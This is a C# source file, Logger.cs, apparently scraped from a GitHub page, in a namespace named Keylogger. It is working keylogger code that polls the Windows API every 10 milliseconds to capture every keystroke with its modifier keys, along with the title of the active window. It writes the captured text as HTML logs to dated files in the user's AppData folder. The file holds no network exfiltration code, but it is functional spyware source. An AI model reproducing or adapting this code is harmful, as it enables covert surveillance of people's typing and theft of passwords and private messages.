-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLogger.cs
357 lines (306 loc) · 13.2 KB
/
Logger.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Keylogger
{
public class KeyData
{
public short Value { get; set; }
public bool ShiftKey { get; set; }
public bool CapsLock { get; set; }
public bool ControlKey { get; set; }
public bool AltKey { get; set; }
}
public class Logger
{
#region "WIN32API"
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Keys vKey);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int ToUnicodeEx(int wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff,
int cchBuff, uint wFlags, IntPtr dwhkl);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll", ExactSpelling = true)]
internal static extern IntPtr GetKeyboardLayout(uint threadId);
#endregion
public static Logger Instance;
public bool Enabled
{
get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; }
set
{
_timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value;
}
}
private static bool ShiftKey
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); //Returns true if shiftkey is pressed
}
}
private static bool ControlKey
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); //Returns true if controlkey is pressed
}
}
private static bool AltKey
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); //Returns true if altkey is pressed
}
}
private static bool CapsLock
{
get
{
return Control.IsKeyLocked(Keys.CapsLock); //Returns true if Capslock is toggled on
}
}
private StringBuilder _logFileBuffer;
private string _hWndTitle;
private string _hWndLastTitle;
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
private readonly List<short> _enumValues;
private volatile List<KeyData> _keyBuffer;
private readonly System.Timers.Timer _timerLogKeys;
private readonly System.Timers.Timer _timerEmptyKeyBuffer;
private readonly System.Timers.Timer _timerFlush;
/// <summary>
/// Creates the logging class that provides keylogging functionality.
/// </summary>
/// <param name="flushInterval">The interval, in milliseconds, to flush the contents of the keylogger to the file.</param>
public Logger(double flushInterval)
{
Instance = this;
_hWndLastTitle = string.Empty;
WriteFile();
_keyBuffer = new List<KeyData>();
_enumValues = new List<short>()
//Populate enumValues list with the Virtual Key Codes of the keys we want to log
{
8, //Backspace
9, //Tab
13, //Enter
32, //Space
46, //Delete
};
for (short i = 48; i <= 57; i++) //0-9 regular
{
_enumValues.Add(i);
}
for (short i = 65; i <= 122; i++)
//65-90 A-Z
//91-92 LWin + RWin key
//skip 93-94 Applications and sleep key
//95-111 numpad keys, 112-122 F1-F11 keys
{
if (i >= 93 && i <= 94) continue;
_enumValues.Add(i);
}
for (short i = 186; i <= 192; i++)
//186 VK_OEM_1, 187 VK_OEM_PLUS, 188 VK_OEM_COMMA, 189 VK_OEM_MINUS, 190 VK_OEM_PERIOD, 191 VK_OEM_2, 192 VK_OEM_3
{
_enumValues.Add(i);
}
for (short i = 219; i <= 222; i++) //219 VK_OEM_4, 220 VK_OEM_5, 221 VK_OEM_6, 222 VK_OEM_7
{
_enumValues.Add(i);
}
this._timerLogKeys = new System.Timers.Timer {Enabled = false, Interval = 10};
this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed;
this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 };
this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed;
this._timerFlush = new System.Timers.Timer {Enabled = false, Interval = flushInterval};
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
this._logFileBuffer = new StringBuilder();
}
private string HighlightSpecialKey(string name)
{
return string.Format("<font color=\"0000FF\">[{0}]</font>", name);
}
private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
int j = 0;
KeyData[] keybuffer = new KeyData[_keyBuffer.Count];
_keyBuffer.CopyTo(keybuffer);
foreach (var k in keybuffer)
{
if (k != null)
{
switch (k.Value)
{
case 8:
_logFileBuffer.Append(HighlightSpecialKey("Back"));
break;
case 9:
_logFileBuffer.Append(HighlightSpecialKey("Tab"));
break;
case 13:
_logFileBuffer.Append(HighlightSpecialKey("Enter"));
break;
case 32:
_logFileBuffer.Append(" ");
break;
case 46:
_logFileBuffer.Append(HighlightSpecialKey("Del"));
break;
case 91:
case 92:
_logFileBuffer.Append(HighlightSpecialKey("Win"));
break;
case 112:
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
_logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111)));
break;
default:
if (_enumValues.Contains(k.Value))
{
if (k.AltKey && k.ControlKey && k.ShiftKey)
{
_logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.AltKey && k.ControlKey && !k.ShiftKey)
{
_logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.AltKey && !k.ControlKey)
{
_logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.ControlKey && !k.AltKey)
{
_logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else
{
_logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock));
}
}
break;
}
}
j++;
}
if (j > 0 && j <= _keyBuffer.Count)
_keyBuffer.RemoveRange(0, j);
}
private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
foreach (short i in _enumValues) //Loop through our enumValues list populated with the keys we want to log
{
if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress
{
_keyBuffer.Add(new KeyData() {CapsLock = CapsLock, ShiftKey = ShiftKey, ControlKey = ControlKey, AltKey = AltKey, Value = i});
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (_hWndTitle != null)
{
if (_hWndTitle != _hWndLastTitle && _enumValues.Contains(i))
//Only write title to log if a key is pressed that we support
{
_hWndLastTitle = _hWndTitle;
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
}
}
}
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (_logFileBuffer.Length > 0)
WriteFile();
}
private void WriteFile()
{
bool writeHeader = false;
string fileName = _filePath + DateTime.Now.ToString("MM-dd-yyyy");
try
{
if (!Directory.Exists(_filePath))
Directory.CreateDirectory(_filePath);
if (!File.Exists(fileName))
writeHeader = true;
using (FileStream fileStream = new FileStream(fileName, FileMode.Append, FileAccess.Write))
{
using (StreamWriter sw = new StreamWriter(fileStream))
{
try
{
if (writeHeader)
{
sw.Write(
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>");
if (_logFileBuffer.Length > 0)
sw.Write(_logFileBuffer);
_hWndLastTitle = string.Empty;
}
else
sw.Write(_logFileBuffer);
}
catch
{
}
}
}
}
catch
{
}
_logFileBuffer = new StringBuilder();
}
private string GetActiveWindowTitle()
{
StringBuilder sbTitle = new StringBuilder(1024);
GetWindowText(GetForegroundWindow(), sbTitle, sbTitle.Capacity);
string title = sbTitle.ToString();
return title != string.Empty ? title : null;
}
private IntPtr GetActiveKeyboardLayout()
{
uint pid;
return GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out pid));
}
private char? FromKeys(int keys, bool shift, bool caps)
{
var keyStates = new byte[256];
//keyStates is a byte array that specifies the current state of the keyboard and keys
//The keys we are interested in are modifier keys such as shift and caps lock
if (shift)
keyStates[16] = 0x80;
//keyStates[16] tells our ToUnicodeEx method the state of the shift key which is 0x80 (Key pressed down)
if (caps)
keyStates[20] = 0x01;
//keyStates[20] tells our ToUnicodeEx method the state of the Capslock key which is 0x01 (Key toggled on)
var sb = new StringBuilder(10);
return ToUnicodeEx(keys, 0, keyStates, sb, sb.Capacity, 0, GetActiveKeyboardLayout()) == 1
? (char?) sb[0]
: null;
//Get the appropriate unicode character from the state of keyboard and from the Keyboard layout (language) of the active thread
}
}
}